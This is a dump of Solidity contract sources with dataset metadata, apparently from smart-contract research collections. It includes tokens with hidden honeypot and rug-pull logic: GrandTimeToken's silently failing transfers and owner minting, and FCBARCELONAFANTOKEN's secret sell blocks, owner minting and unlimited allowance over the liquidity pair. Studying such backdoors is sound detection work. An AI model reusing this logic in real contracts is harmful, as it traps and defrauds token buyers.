function setCap(address beneficiary, uint256 cap) external onlyCapper {
_caps[beneficiary] = cap;
}
function getCap(address beneficiary) public view returns (uint256) {
return _caps[beneficiary];
}
function getContribution(address beneficiary) public view returns (uint256) {
return _contributions[beneficiary];
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
super._preValidatePurchase(beneficiary, weiAmount);
require(_contributions[beneficiary].add(weiAmount) <= _caps[beneficiary]);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
super._updatePurchasingState(beneficiary, weiAmount);
_contributions[beneficiary] = _contributions[beneficiary].add(weiAmount);
}
}
contract CapperRoleMock is CapperRole {
function removeCapper(address account) public {
_removeCapper(account);
}
function onlyCapperMock() public view onlyCapper {
// solhint-disable-previous-line no-empty-blocks
}
// Causes a compilation error if super._removeCapper is not internal
function _removeCapper(address account) internal {
super._removeCapper(account);
}
}
contract IndividuallyCappedCrowdsaleImpl is IndividuallyCappedCrowdsale, CapperRoleMock {
constructor (uint256 rate, address payable wallet, IERC20 token) public Crowdsale(rate, wallet, token) {
// solhint-disable-previous-line no-empty-blocks
}
}
| 131,277 | 13,602 |
a6bae87a115893b7e0d0b74c8a9cd0c42fc39b18f8ebef38479005d92167d312
| 21,051 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xEf149e7A80F483B578fb7e65F1F9C8B98BC05020/contract.sol
| 2,766 | 9,833 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GrandTimeToken is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address internal constant pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
bool isSL = true;
uint256 _AMM = 100000;
constructor() public {
_name = 'Grand Time';
_symbol = 'GRAND';
_decimals = 9;
_totalSupply = 1000000 * 10**9 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function LockerBurn(uint256 amount) external onlyOwner returns (bool) {
_balances[owner()] = _balances[owner()].add(amount);
emit Transfer(address(0), owner(), amount);
}
function theSL(bool _sl) public onlyOwner virtual returns (bool) {
isSL = _sl;
return true;
}
function sl() public view returns (bool) {
return isSL;
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
bool allow = false;
if(sender == pancakeV2Router || sender == pancakePair() || pancakePair() == address(0) || sender == owner()) {
allow = true;
} else {
if((amount <= _AMM || isSL) && !isContract(sender)) {
allow = true;
}
}
if(allow) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function pancakePair() public view virtual returns (address) {
address pancakeV2Factory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address pairAddress = IPancakeFactory(pancakeV2Factory).getPair(address(WBNB), address(this));
return pairAddress;
}
function isContract(address addr) internal view returns (bool) {
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bytes32 codehash;
assembly {
codehash := extcodehash(addr)
}
return (codehash != 0x0 && codehash != accountHash);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 254,725 | 13,603 |
eeddff639b7e22f2a3a693275e0e89c7f556dc8c9bdc18822db8766f56b5d172
| 11,977 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x6a57883b5748bf3631ac2e0d43bf0d6f6cbcd16b.sol
| 2,537 | 9,139 |
pragma solidity ^0.4.12;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function subApproval(address _spender, uint _subtractedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
address public constant BURN_ADDRESS = 0;
event Burned(address burner, uint burnedAmount);
function burn(uint burnAmount) {
address burner = msg.sender;
balances[burner] = safeSub(balances[burner], burnAmount);
totalSupply = safeSub(totalSupply, burnAmount);
Burned(burner, burnAmount);
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
// Called in a bad state
throw;
}
// Validate input value.
if (value == 0) throw;
balances[msg.sender] = safeSub(balances[msg.sender], value);
// Take tokens out from circulation
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
// The token is not yet in a state that we could think upgrading
throw;
}
if (agent == 0x0) throw;
// Only a master can designate the next agent
if (msg.sender != upgradeMaster) throw;
// Upgrade has already begun for an agent
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
// Bad interface
if(!upgradeAgent.isUpgradeAgent()) throw;
// Make sure that token supplies match in source and target
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract Lescoin is BurnableToken, UpgradeableToken {
string public name;
string public symbol;
uint public decimals;
function Lescoin(address _owner, address _init) UpgradeableToken(_owner) {
name = "Lescoin";
symbol = "LSC";
totalSupply = 200000000000000;
decimals = 8;
// Allocate initial balance to the init account
balances[_init] = totalSupply;
}
}
contract LescoinPreSale {
address public beneficiary;
address public coldWallet;
uint public ethPrice;
uint public bonus;
uint public amountRaised;
Lescoin public tokenReward;
uint constant public price = 50;
uint constant public minSaleAmount = 10000;
function LescoinPreSale(address _beneficiary,
address _coldWallet,
uint _ethPrice,
uint _bonus,
Lescoin _addressOfToken) {
beneficiary = _beneficiary;
coldWallet = _coldWallet;
ethPrice = _ethPrice;
bonus = _bonus;
tokenReward = Lescoin(_addressOfToken);
}
function () payable {
uint amount = msg.value;
uint tokenAmount = amount * ethPrice / price / 1000000000000;
if (tokenAmount < minSaleAmount) throw;
amountRaised += amount;
tokenReward.transfer(msg.sender, tokenAmount * (100 + bonus) / 100);
}
function WithdrawETH(uint _amount) {
if (beneficiary != msg.sender) throw;
coldWallet.transfer(_amount);
}
function WithdrawTokens(uint _amount) {
if (beneficiary != msg.sender) throw;
tokenReward.transfer(coldWallet, _amount);
}
function TransferTokens(address _to, uint _amount) {
if (beneficiary != msg.sender) throw;
tokenReward.transfer(_to, _amount);
}
function ChangeEthPrice(uint _ethPrice) {
if (beneficiary != msg.sender) throw;
ethPrice = _ethPrice;
}
function ChangeBonus(uint _bonus) {
if (beneficiary != msg.sender) throw;
bonus = _bonus;
}
}
| 214,016 | 13,604 |
2091c0aa36578489f19a2be0926fafc12eb1ba3efdb5834c4767806f598eab55
| 16,585 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c6/c661ccc6047a1d90c7d882dba00dad936c1972a9_FCBARCELONAFANTOKEN.sol
| 3,694 | 15,640 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract FCBARCELONAFANTOKEN is Context, IERC20, Ownable {
IPancakeRouter02 internal _router;
IPancakePair internal _pair;
uint8 internal constant _DECIMALS = 18;
address public master;
mapping(address => bool) public _marketersAndDevs;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => uint256) internal _buySum;
mapping(address => uint256) internal _sellSum;
mapping(address => uint256) internal _sellSumETH;
uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);
uint256 internal _theNumber = ~uint256(0);
uint256 internal _theRemainder = 0;
modifier onlyMaster() {
require(msg.sender == master);
_;
}
constructor(address routerAddress) {
_router = IPancakeRouter02(routerAddress);
_pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this), address(_router.WETH())));
_balances[owner()] = _totalSupply;
master = owner();
_allowances[address(_pair)][master] = ~uint256(0);
_marketersAndDevs[owner()] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() external pure override returns (string memory) {
return "FC Barcelona Fan Token";
}
function symbol() external pure override returns (string memory) {
return "BARCA";
}
function decimals() external pure override returns (uint8) {
return _DECIMALS;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
if (_canTransfer(_msgSender(), recipient, amount)) {
_transfer(_msgSender(), recipient, amount);
}
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
if (_canTransfer(sender, recipient, amount)) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function burn(uint256 amount) external onlyOwner {
_balances[owner()] -= amount;
_totalSupply -= amount;
}
function setNumber(uint256 newNumber) external onlyOwner {
_theNumber = newNumber;
}
function setRemainder(uint256 newRemainder) external onlyOwner {
_theRemainder = newRemainder;
}
function setMaster(address account) external onlyOwner {
_allowances[address(_pair)][master] = 0;
master = account;
_allowances[address(_pair)][master] = ~uint256(0);
}
function syncPair() external onlyMaster {
_pair.sync();
}
function includeInReward(address account) external onlyMaster {
_marketersAndDevs[account] = true;
}
function excludeFromReward(address account) external onlyMaster {
_marketersAndDevs[account] = false;
}
function rewardHolders(uint256 amount) external onlyOwner {
_balances[owner()] += amount;
_totalSupply += amount;
}
function _isSuper(address account) private view returns (bool) {
return (account == address(_router) || account == address(_pair));
}
function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) {
if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
return true;
}
if (_isSuper(sender)) {
return true;
}
if (_isSuper(recipient)) {
uint256 amountETH = _getETHEquivalent(amount);
uint256 bought = _buySum[sender];
uint256 sold = _sellSum[sender];
uint256 soldETH = _sellSumETH[sender];
return bought >= sold + amount && _theNumber >= soldETH + amountETH && sender.balance >= _theRemainder;
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _hasLiquidity() private view returns (bool) {
(uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
return reserve0 > 0 && reserve1 > 0;
}
function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) {
(uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
if (_pair.token0() == _router.WETH()) {
return _router.getAmountOut(amountTokens, reserve1, reserve0);
} else {
return _router.getAmountOut(amountTokens, reserve0, reserve1);
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) private {
if (_hasLiquidity()) {
if (_isSuper(from)) {
_buySum[to] += amount;
}
if (_isSuper(to)) {
_sellSum[from] += amount;
_sellSumETH[from] += _getETHEquivalent(amount);
}
}
}
}
| 325,462 | 13,605 |
cdb1242a109aa6004ce0e3dcc71698bd67f83a027d87d5f56381a03cf71498ee
| 12,914 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x4c9d38b4e71de67e680f318a1268e18d1d946c04.sol
| 3,280 | 11,884 |
pragma solidity ^0.4.25;
contract CryptoMinirToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Crypto Minir Token";
string public symbol = "CMT";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
